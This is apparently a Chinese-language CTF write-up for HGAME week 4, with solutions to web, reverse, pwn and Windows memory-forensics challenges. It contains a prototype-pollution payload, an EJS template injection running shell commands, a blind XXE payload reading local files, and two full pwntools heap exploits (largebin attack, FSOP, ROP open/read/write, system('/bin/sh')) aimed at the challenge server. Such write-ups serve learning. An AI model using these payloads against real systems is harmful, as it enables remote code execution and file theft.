

WEB

Shared Diary

原型链污染和模板注入：

```
{"username":"111","constructor":{"prototype":{"role":"admin"}}}
```

```
<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>
```

但是比较愉快的是找到了原题，去年HGAME有个基本一模一样的题目，照着wp抄就能出了。

Tell Me

XXE，网上找了一段 payload 就出了：

```
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ELEMENT message ANY>
  <!ENTITY % para1 SYSTEM "file:///flag">
  <!ENTITY % para '
    <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM
&#x27;file:///&#x25;para1;&#x27;>">
    &#x25;para2;
  '>
  %para;
]>
```

1

1

1

SEND

```
<br /> <b>Warning</b>: DOMDocument::loadXML(): Invalid URI:  
file:///&lt;?php $flag1 =  
&quot;hgame{Be_Aware_of_XXeBl1nd1njecti0n}&quot;; ?&gt; in  
Entity, line: 3 in <b>/var/www/html/send.php</b> on line  
<b>10</b><br /> Success! I will see it later
```

REV

vm

IDA一打开翻一下然后看完指令之后写个 decode 脚本翻译一下就行了。最关键的点在于指令不是很多，完全可以在人力范围内直接阅读理解。感觉 vm 题的真谛在于过于庞大的指令导致难以理解执行流。

```
#include <stdint.h>
#include <string.h>
#include <stdio.h>
int main()
{
    int input[200] =
    {
        97,
        97,
        98,
        98,
        99,
        99,
        100,
        100,
        101,
        101,
        97,
        97,
        98,
        98,
        99,
        99,
        100,
        100,
        101,
        101,
        97,
        97,
        98,
        98,
        99,
        99,
        100,
        100,
        101,
        101,
        97,
        97,
        98,
        98,
        99,
        99,
        100,
        100,
        101,
        101,
        97,
        97,
        98,
        98,
        99,
        99,
        100,
        100,
        101,
    }
```

101,
0,
0,
0,
0,
0,
0,
0,
0,
0,
155,
168,
2,
188,
172,
156,
206,
250,
2,
185,
255,
58,
116,
72,
25,
105,
232,
3,
203,
201,
255,
252,
128,
214,
141,
215,
114,
0,
167,
29,
61,
153,
136,
153,
191,

232,
150,
46,
93,
87,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
201,
169,
189,
139,
23,
194,
110,
248,
245,
110,
99,
99,
213,
70,
93,
22,
152,
56,
48,
115,
56,
193,
94,
237,
176,
41,
90,
24,
64,
167,
253,

10,
30,
120,
139,
98,
219,
15,
143,
156,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
18432,
61696,
16384,
8448,
13569,
25600,
30721,
63744,
6145,
20992,
9472,
23809,
18176,
64768,
26881,
23552,
44801,
45568,
60417,
20993,
20225,
6657,
20480,
34049,
52480,
8960,
63488,

shellcode

一时间想不起来当时怎么做的了，翻了一下发现自己忘记存 exp 了，于是又去做了一遍。

题目首先要解一个 base64 作为 shellcode，动调直接过去就发现是tea：

```

1 DWORD *__fastcall sub_C000156000(__int64 a1, __int64 a2, __int64 a3, unsigned int *a4)
2 {
3     _DWORD *result; // rax
4     unsigned int v5; // [rsp+20h] [rbp-38h]
5     __int64 v6; // [rsp+24h] [rbp-34h]
6     unsigned int i; // [rsp+40h] [rbp-18h]
7
8     v5 = *a4;
9     v6 = a4[1];
10    for ( i = 0; i < 0x20; ++i )
11    {
12        HIWORD(v6) -= 1412567261;
13        v5 += ((v6 >> 5) + 33) ^ (v6 + HIWORD(v6)) ^ (16 * v6 + 22);
14        LODWORD(v6) = v6 + (((v5 >> 5) + 55) ^ (v5 + HIWORD(v6)) ^ (16 * v5 + 44));
15    }
16    *a4 = v5;
17    result = a4 + 1;
18    a4[1] = v6;
19    return result;
20 }

```

直接套脚本解就行了。

PWN

without_hook

```

from pwn import *
context.log_level="debug"
context(arch = "amd64")
#p=process("./vuln")
p=remote("week-4.hgame.lwsec.cn",30858)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))

def delete(index):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def edit(index,context):
    p.recvuntil(">")
    p.sendline("3")
    p.recvuntil("Index: ")

```



```

p.sendline(str(index))
p.recvuntil("Content: ")
p.send(context)

def show(index):
    p.recvuntil(">")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

add(0,0x518)#0
add(1,0x798)#1
add(2,0x508)#2
add(3,0x798)#3
delete(0)

show(0)
libc_base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f6689476cc0-
0x7f6689280000)
print("leak_addr: "+hex(libc_base))
add(4,0x528)

edit(0,"a"*16)
show(0)
p.recv(16)
heap=u64(p.recv(6).ljust(8,b'\x00'))
heap_base=heap-(0x55e99882e290-0x55e99882e000)
print("heap_addr: "+hex(heap_base))
recover=libc_base+(0x7f7d45c370f0-0x7f7d45a40000)
edit(0,p64(recover)*2)

delete(2)

target_addr = libc_base+libc.sym["_IO_list_all"]-0x20
print(hex(target_addr))
target_heap=libc_base+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-
0x56193a0a2140)
level_ret=0x00000000005591c+libc_base

edit(0,p64(libc_base+0x7f4c865a90f0-0x7f4c863b2000) * 2 +
p64(heap_base+0x000055a6af7b3290-0x55a6af7b3000) + p64(target_addr))#largebin
attack

add(5,0x528)#5

gadget3=libc_base+(0x00007f2195256f0a-0x7f21950f4000)

```

```

level_ret=0x00000000050757+libc_base
pop_rdi_gad=0x00000000023eb5+libc_base
pop_rdi=0x00000000023ba5+libc_base
pop_rsi=0x000000000251fe+libc_base
pop_rdx_rbx=0x00000000008bbb9+libc_base
pop_rax=0x00000000003f923+libc_base
syscall_addr=0x000000000227b2+libc_base

def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

address_for_rdi=libc_base
address_for_call=libc_base
payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:heap_base+0xf50+0xe8,
        0x28:gadget3,
        0x18:1,
        0x20:0,
        0x40:1,
        0xd0:heap_base + 0xf50,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
    },
    filler = '\x00'
)
payload+=p64(level_ret)+p64(0)+p64(heap_base+0xf50+0xe8-
0x28)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+
(b"flag\x00\x00\x00\x00")+p64(heap_base+0xf50+0xe8+72)
payload+=p64(pop_rdi_gad)+p64(0)+p64(heap_base+0xf50+0xe8-0x28)
payload+=p64(pop_rdi)+p64(heap_base+0xf50+0xe8+64)+p64(pop_rsi)+p64(0)+p64(pop_rax)
+p64(2)+p64(libc_base+libc.sym['open'])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)
+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['read'])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0xf50+0xe8)+p64(pop_rdx_rbx)
+p64(0x100)+p64(0x100)+p64(libc_base+libc.sym['write'])

print("targe_heap: "+hex(heap_base+0x5619dd9ecf60-0x5619dd9ec000))
edit(2,payload)#2
p.recvuntil(">")

```

```
p.sendline("5")
p.interactive()
```

4nswer's gift

```
from pwn import *
context(arch = "amd64")
#p=process("./vuln")
p=remote("week-4.hgame.lwsec.cn",31288)
elf=ELF("./vuln")
libc=elf.libc
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr
p.recvuntil("the box of it looks like this: ")
leak=int(p.recv(14),16)
libc_base=leak-(0x7f988b446660-0x7f988b24f000)
print(hex(libc_base))
heap_base=libc_base-0x100003ff0
print(hex(heap_base))
p.sendline(str(0xffffffff))
address_for_rdi=libc_base
address_for_call=libc_base
payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1,
        0xe0:heap_base + 0x250,
        0xd8:libc_base + get_IO_str_jumps() - 0x300 + 0x20,
        0x288:libc_base+libc.sym["system"],
        0x288+0x10:libc_base+next(libc.search(b"/bin/sh\x00")),
        0x288+0x18:1
    },
    filler = '\x00'
)
```

```
p.send(payload)
p.interactive()
```

MISC

ezWin - variables

环境变量一把梭：

```
tokameine@tokaa:~/Desktop/env/volatility3$ python3 vol.py -f /home/tokameine/Desktop/env/win10_22h2_19045.2486.vmem Envars |grep hgame
3492 resssihost.exe 0x222e2561bc0canHGAME_FLAGhed hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3520 svchost.exe 0x1d2f6e033d0 HGAME_FLAG hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3528 svchost.exe 0x163d90033d0 HGAME_FLAG hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3668 taskhostw.exe 0x1ced6651bc0 HGAME_FLAG hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3828 ctfmon.exe 0x1e2d9081bc0 HGAME_FLAG hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
3992 explorer.exe 0x1151bf0 HGAME_FLAG hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
```

ezWin - auth

搜进程发现有提示，不过最开始没 get 到什么意思，后来发现直接 hashdump 出来的就是 flag

```
7540 notepad.exe "C:\Windows\system32\notepad.exe" C:\Users\Naname\Desktop\flag2 is nthash of current user.txt
7584 7zFM.exe "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Naname\Desktop\flag-7z"
```

ezWin - 7zip

```
tokameine@tokaa:~/Desktop/env/volatility3$ python3 vol.py -f /home/tokameine/Desktop/env/win10_22h2_19045.2486.vmem windows.dumpfiles.DumpFiles --pid 7584
Volatility 3 Framework 2.4.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result
DataSectionObject 0xd00641b4edc0 StaticCache.dat Error dumping file
SharedCacheMap 0xd00641b4edc0 StaticCache.dat file.0xd00641b4edc0.0xd00640685d50.SharedCacheMap.StaticCache.dat.vacb
DataSectionObject 0xd00641b5ba70 flag.7z Error dumping file
SharedCacheMap 0xd00641b5ba70 flag-7z file.0xd00641b5ba70.0xd00641803370.SharedCacheMap.flag-7z.vacb
```

有个压缩包，filedump 出来之后密码就是 hash 查出来的东西：

密文:	84b0d9c9f830238933e7131d60ac6436		
类型:	NTLM	▼	[帮助]
		查询	加密

查询结果:

asdqwe123

不过有点奇怪，我直接 filedump 加地址是没办法拿出来的，得用 --pid 去 dump.....